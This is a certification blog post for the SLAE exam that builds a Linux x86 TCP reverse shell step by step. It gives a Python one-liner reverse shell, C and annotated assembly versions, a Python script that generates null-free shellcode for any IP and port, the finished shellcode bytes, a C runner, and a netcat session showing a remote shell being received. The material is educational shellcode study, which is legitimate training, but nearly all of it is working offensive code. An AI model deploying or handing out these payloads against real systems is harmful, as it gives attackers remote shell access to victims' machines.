This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
https://www.pentesteracademy.com/course?id=3
Student ID: PA-30398
The full source code is stored inside the repository created for this Exam: rbctee/SlaeExam.
List of files:
tcp_rev_shell.c: Reverse Shell written in C
C
tcp_rev_shell.nasm: Reverse Shell written in Assembly
Assembly
automation/wrapper.py: python script to automate the generation of shellcode based on arbitrary IP addresses and TCP port
python
automation/template.nasm: generic template used by wrapper.py
wrapper.py
Follows the visual representation of this technique:
python -c 'import socket,os,pty;s=socket.socket();s.connect(("127.0.0.1", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
import socket, os, pty s = socket.socket() s.connect(("127.0.0.1", 4444)) # s.fileno() returns the File Descriptor associated with the socket [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn("/bin/sh")
#include <netinet/ip.h> int main() { int client_socket_fd; // define an array made up of 1 value: 0 // this way I don't have to pass NULL pointers to execve char *empty[] = { 0 }; struct sockaddr_in client_address; // create a TCP socket client_socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // connect to 127.0.0.1:4444 // where netcat is listening // /bin/sh -c "nc -v -l 4444" client_address.sin_family = AF_INET; // convert the IP address to an 'in_addr' struct inet_aton("127.0.0.1", &client_address.sin_addr); client_address.sin_port = htons(4444); // connect to the socket connect(client_socket_fd, (struct sockaddr *)&client_address, sizeof(client_address)); // redirect stdin/stdout/stderr to the socket dup2(client_socket_fd, 0); dup2(client_socket_fd, 1); dup2(client_socket_fd, 2); // now that the standard file descriptors are redirected // once we spawn /bin/sh, input/output/error are going to be bound // to the socket execve("/bin/sh", empty, empty); }
client_address.sin_addr.s_addr = "127.0.0.1";
struct sockaddr_in { sa_family_t sin_family; /* address family: AF_INET */ in_port_t sin_port; /* port in network byte order */ struct in_addr sin_addr; /* internet address */ }; /* Internet address */ struct in_addr { uint32_t s_addr; /* address in network byte order */ };
int main() { int client_socket_fd; char *empty[] = { 0 }; struct sockaddr_in client_address; client_socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
; Author: Robert Catalin Raducioiu (rbct) global _start section .text _start: ; clear EAX, EBX, and ECX registers xor eax, eax mov ebx, eax mov ecx, eax ; copy 102 into EAX: socketcall() syscall mov al, 102 ; 3rd argument of socket(): IPPROTO_TCP (0x6) mov cl, 6 push ecx ; 1st argument of socketcall(): SYS_SOCKET ; 2nd argument of socket(): SOCK_STREAM (0x00000001) inc bl push ebx ; 1st argument of socket(): AF_INET mov cl, 2 push ecx ; 2nd argument of socketcall(): pointer to the arguments for SYS_SOCKET call mov ecx, esp ; call syscall int 0x80 ; save server socket file descriptor mov esi, eax
client_address.sin_family = AF_INET; inet_aton("127.0.0.1", &client_address.sin_addr); client_address.sin_port = htons(4444); connect( client_socket_fd, (struct sockaddr *)&client_address, sizeof(client_address) );
struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; }; struct in_addr sin_addr { unsigned int s_addr; }
; inet_aton("127.0.0.1") ;rol ebx, 24 ;push ebx push 0x0100007f ;mov [esp], BYTE 127 ; 0x115c -> htons(4444) push WORD 0x5c11 ; 0x0002 -> AF_INET mov bl, 2 push WORD bx ; save the pointer to the struct for later mov ecx, esp ; 3rd argument of connect(): size of the struct ; push 16 xor ebx, ebx mov bl, 16 push ebx ; 2nd argument of connect(): pointer to the struct push ecx ; 1st argument of connect(): file descriptor of the server socket push esi ; syscall socketcall() xor eax, eax mov al, 102 ; 1st argument of socketcall(): call SYS_CONNECT mov bl, 3 ; 2nd argument of socketcall(): pointer to the parameters of bind() mov ecx, esp int 0x80
; loop counter (repeats dup2() three times) mov ecx, ebx RepeatDuplicate: ; save ecx since it's modified later push ecx ; dup2() syscall mov al, 63 ; Client file descriptor mov ebx, esi ; Redirect this file descriptor (stdin/stdout/stderr) to the Client File descritptor mov ecx, DWORD [esp] dec ecx ; call dup2() int 0x80 ; restore ecx and check if loop is over pop ecx loop RepeatDuplicate
push ecx push 0x68732f6e push 0x69622f2f mov ebx, esp ; execve syscall xor eax, eax mov al, 11 int 0x80
def main(): parser = argparse.ArgumentParser() parser.add_argument('-p', '--port', type=int, help='TCP Port for the Bind Shell', required=True, metavar="[1-65535]") parser.add_argument('-ip', "--ip", help="IP address of the Bind Shell", required=True) parser.add_argument('-t', '--template', help='Path of the NASM template file. Example: -t /tmp/template.nasm', required=True) parser.add_argument('-o', '--output', help='Path for the output file. Example: -o /tmp/output.nasm', required=True) args = parser.parse_args() ip_address = args.ip tcp_port = args.port if tcp_port not in range(1, 65536): print(f"[!] Argument '--port' must be in range [1-65535]") sys.exit(1) shellcode_template = args.template output_file_path = args.output replace_template_values(shellcode_template, tcp_port, ip_address, output_file_path) generate_shellcode(output_file_path)
def replace_template_values(template_name, tcp_port, ip_address, output_file_path): with open(template_name) as f: template_code = f.read() tcp_port_hex = (tcp_port).to_bytes(2, "little").hex() if '00' in tcp_port_hex: if '00' in tcp_port_hex[:2]: non_null_byte = tcp_port_hex[2:] replace_code = f"mov bl, 0x{non_null_byte}\n push bx\n xor ebx, ebx" else: non_null_byte = tcp_port_hex[:2] replace_code = f"mov bh, 0x{non_null_byte}\n push bx\n xor ebx, ebx" else: replace_code = f"push WORD 0x{tcp_port_hex}" template_code = template_code.replace("{{ TEMPLATE_TCP_PORT }}", replace_code, 1) ip_address_bytes = [int(x) for x in ip_address.split(".")][::-1] if 0 in ip_address_bytes: print("[!] Found NULL byte in IP address") # choose a random byte from the range(1,256), excluding the bytes that make up the IP address random_xor_byte = random.choice(list(set(range(1,256)) - set(ip_address_bytes))) # encode XORing DWORD and XORed DWORD to hexadecimal xor_dword = (bytes([random_xor_byte]) * 4).hex() ip_address_xored_bytes = bytes([x ^ random_xor_byte for x in ip_address_bytes]).hex() replace_code = f"mov ebx, 0x{ip_address_xored_bytes}\n xor ebx, 0x{xor_dword}\n push ebx\n xor ebx, ebx"
else: ip_address_hex = "".join([(x).to_bytes(1, "little").hex() for x in ip_address_bytes]) replace_code = f"push 0x{ip_address_hex}" template_code = template_code.replace("{{ TEMPLATE_TCP_IP }}", replace_code, 1) with open(output_file_path, 'w') as f: f.write(template_code)
python3 script.py -h # usage: wrapper.py [-h] -p [1-65535] -ip IP -t TEMPLATE -o OUTPUT # optional arguments: # -h, --help show this help message and exit # -p [1-65535], --port [1-65535] # TCP Port of the Bind Shell # -ip IP, --ip IP IP address of the Bind Shell # -t TEMPLATE, --template TEMPLATE # Path of the NASM template file. Example: -t /tmp/template.nasm # -o OUTPUT, --output OUTPUT # Path of the output file. Example: -o /tmp/output.nasm
python3 wrapper.py -p 1234 -ip "127.0.0.1" -t ./template.nasm -o /tmp/output.nasm # [!] Found NULL byte in IP address # [+] Object file generated at /tmp/output.nasm # [+] Executable binary generated at /tmp/output # [+] Shellcode length: 99 bytes # [+] Shellcode: # "\x31\xc0\x89\xc3\x89\xc1\xb0\x66\xb1\x06\x51\xfe\xc3\x53\xb1\x02\x51\x89\xe1\xcd\x80\x89\xc6\xbb\xa0\xdf\xdf\xde\x81\xf3\xdf\xdf\xdf\xdf\x53\x31\xdb\x66\x68\x04\xd2\xb3\x02\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x56\x31\xc0\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xd9\x51\xb0\x3f\x89\xf3\x8b\x0c\x24\x49\xcd\x80\x59\xe2\xf2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80";
python3 wrapper.py -p 256 -ip "192.168.1.107" -t ./template.nasm -o /tmp/output.nasm # [+] Object file generated at /tmp/output.nasm # [+] Executable binary generated at /tmp/output # [+] Shellcode length: 92 bytes # [+] Shellcode: # "\x31\xc0\x89\xc3\x89\xc1\xb0\x66\xb1\x06\x51\xfe\xc3\x53\xb1\x02\x51\x89\xe1\xcd\x80\x89\xc6\x68\xc0\xa8\x01\x6b\xb3\x01\x66\x53\x31\xdb\xb3\x02\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x56\x31\xc0\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xd9\x51\xb0\x3f\x89\xf3\x8b\x0c\x24\x49\xcd\x80\x59\xe2\xf2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80";
#include <stdio.h> #include <string.h> unsigned char code[] = \ "\x31\xc0\x89\xc3\x89\xc1\xb0\x66\xb1\x06\x51\xfe\xc3\x53\xb1\x02\x51\x89\xe1\xcd\x80\x89\xc6\x68\xc0\xa8\x01\x6b\xb3\x01\x66\x53\x31\xdb\xb3\x02\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x56\x31\xc0\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x89\xd9\x51\xb0\x3f\x89\xf3\x8b\x0c\x24\x49\xcd\x80\x59\xe2\xf2\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"; main() { printf("Shellcode length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
gcc -fno-stack-protector -z execstack shellcode_runner.c -o /tmp/tcp_rev_shell /tmp/tcp_rev_shell
sudo nc -nvlp 256 # Ncat: Listening on :::256 # Ncat: Listening on 0.0.0.0:256 # Ncat: Connection from 192.168.1.105. # Ncat: Connection from 192.168.1.105:60058. # id # uid=1000(rbct) gid=1000(rbct) groups=1000(rbct),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) # whoami # rbct